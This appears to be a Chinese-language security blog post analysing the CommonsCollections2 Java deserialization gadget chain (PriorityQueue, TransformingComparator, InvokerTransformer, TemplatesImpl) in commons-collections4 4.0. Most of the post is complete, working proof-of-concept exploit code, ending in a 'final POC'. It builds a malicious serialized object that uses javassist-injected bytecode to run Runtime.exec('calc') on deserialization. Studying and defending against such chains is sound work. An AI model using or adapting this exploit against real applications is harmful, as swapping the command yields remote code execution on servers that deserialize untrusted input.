Java反序列化-CommonsCollections2利用链分析
前言
接上篇TemplatesImpl利用链分析,学习了通过TemplatesImpl
利用链来进行类加载执行恶意代码,现在来学习一下CommonsCollections2
利用链。
分析前的准备
漏洞组件:commons-collections4.0,使用jdk1.7
在pom.xml
中引入漏洞依赖
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
引入辅助构造POC依赖:
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>
利用链分析
cc2利用链是通过TemplatesImpl
加载恶意类进行代码执行,危害性较命令执行大一些
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()
newInstance()
Runtime.getRuntime().exec("calc")
利用链中我们可以看到后半部分就是上篇TemplatesImpl
利用链中写到的,然后也是和cc1一样,通过InvokerTransformer#transform
去进行任意类方法执行
这里触发InvokerTransformer#transform
的方法改变了,但是在之前分析cc1中也提到了TransformingComparator#compare
方法也调用了transform
,并且可以成功利用。
PriorityQueue
在cc2中,除了TemplatesImpl
利用链以外,就得是PriorityQueue
了,也是通过该类来进行反序列化成功调用TransformingComparator#compare
的,该类实现了Serializable
接口,来看一下readObject
方法
前边都是一些序列化操作,也比较容易理解,queue
是一个对象数组,size
是个int
型数据
可见queue
被transient
关键字修饰,不可被序列化,但是在反序列化的过程中将会对该变量进行赋值,通过s.readObject
反序列化的对象也是从ObjectInputStream
中读取出来的
查看PriorityQueue#writeObject
方法,在序列化的过程中也是按顺序将queue
中存储的对象写入ObjectOutputStream
中,所以其实queue
对象也是写入了序列化字符串的;当然这里也写入了size
变量。
然后在最后调用了PriorityQueue#readObject
的最后调用了heapify
方法
这里通过size
(需要≥2,2右移1位为1)进入循环,调用siftDown
方法,传入queue
对象数组中的对象。
这里通过comparator
选择执行一个方法,并且该变量可控
在siftDownUsingComparator
方法中调用了comparator.compare
,并且传入参数可控
通过反射修改comparator
的值为TransformingComparator
对象即可成功利用
queue
和comparator
变量通过构造方法可传入
POC编写
先使用cc1的ChainedTransformer#transform
来尝试写出poc,在进行编写poc的时候下边代码执行触发了恶意代码:
package com.serializable.cc2;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
// chainedTransformer.transform("payload");
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
// transformingComparator.compare(chainedTransformer, 1);
PriorityQueue priorityQueue = new PriorityQueue(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(chainedTransformer);
}
}
调试发现触发链如下:
priorityQueue#add->priorityQueue#offer->priorityQueue#siftUp->priorityQueue#siftUpUsingComparator->TransformingComparator#compare->InvokerTransformer#transform
为了避免在序列化的时候触发该问题并抛出异常,我们可以通过定义后反射修改参数的方法进行构造poc:
package com.serializable.cc2;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
// chainedTransformer.transform("payload");
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
// transformingComparator.compare(chainedTransformer, 1);
PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(1);
priorityQueue.add(2);
Object[] objects = {1, chainedTransformer};
setFieldValue(priorityQueue, "comparator", transformingComparator);
setFieldValue(priorityQueue, "queue", objects);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
outputStream.writeObject(priorityQueue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
在这里边的poc编写中,我们通过PriorityQueue#add
方法去增加size,当然我们也可以通过反射:
如上图,如果通过反射增加size
和修改queue
,这样也不用担心在进行add
时触发攻击
现在这样只能达到命令执行的情况,接下来引入TemplatesImpl
利用链进行代码执行。
package com.serializable.cc2;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault(); // 获取CtClass容器
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); // 引入AbstractTranslet路径到classpath中
CtClass testCtClass = classPool.makeClass("TestCtClass"); // 创建CtClass对象
testCtClass.setSuperclass(classPool.get(AbstractTranslet.class.getName())); // 设置父类为AbstractTranslet
CtConstructor ctConstructor = testCtClass.makeClassInitializer(); // 创建空初始化构造器
ctConstructor.insertBefore("Runtime.getRuntime().exec(\"calc\");"); // 插入初始化语句
byte[] bytes = testCtClass.toBytecode(); // 获取字节数据
TemplatesImpl templates = new TemplatesImpl();
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
// Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Reflections.setFieldValue(templates, "_name", "seizer");
// templates.newTransformer();
InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[0], new Object[0]);
TransformingComparator transformingComparator = new TransformingComparator(newTransformer);
// transformingComparator.compare(chainedTransformer, 1);
PriorityQueue priorityQueue = new PriorityQueue(2, transformingComparator);
// priorityQueue.add(1);
// priorityQueue.add(2);
setFieldValue(priorityQueue, "size", 2);
Object[] objects = {templates, 2};
// setFieldValue(priorityQueue, "comparator", transformingComparator);
setFieldValue(priorityQueue, "queue", objects);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
outputStream.writeObject(priorityQueue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
在这里又遇到了俩个问题:
在compare
比较时会依次执行这两个对象的自定义方法,如果将2
放在前边,在执行newTransformer
将会抛出异常
在之前学习TemplatesImpl
利用链时,_tfactory
变量是用关键字transient
修饰的,所以说该变量是不能被序列化的,但是还会成功触发恶意代码呢?
我们可以看到TemplatesImpl
也存在readObject
方法,在最后一行对_tfactory
进行了赋值
通过调试也可以看到_tfactory
为TransformerFactoryImpl
对象
最终POC
package com.serializable.cc2;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault(); // 获取CtClass容器
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); // 引入AbstractTranslet路径到classpath中
CtClass testCtClass = classPool.makeClass("TestCtClass"); // 创建CtClass对象
testCtClass.setSuperclass(classPool.get(AbstractTranslet.class.getName())); // 设置父类为AbstractTranslet
CtConstructor ctConstructor = testCtClass.makeClassInitializer(); // 创建空初始化构造器
ctConstructor.insertBefore("Runtime.getRuntime().exec(\"calc\");"); // 插入初始化语句
byte[] bytes = testCtClass.toBytecode(); // 获取字节数据
TemplatesImpl templates = new TemplatesImpl();
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
Reflections.setFieldValue(templates, "_name", "seizer");
InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[0], new Object[0]);
TransformingComparator transformingComparator = new TransformingComparator(newTransformer);
PriorityQueue priorityQueue = new PriorityQueue(2, transformingComparator);
setFieldValue(priorityQueue, "size", 2);
Object[] objects = {templates, 2};
setFieldValue(priorityQueue, "queue", objects);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
outputStream.writeObject(priorityQueue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}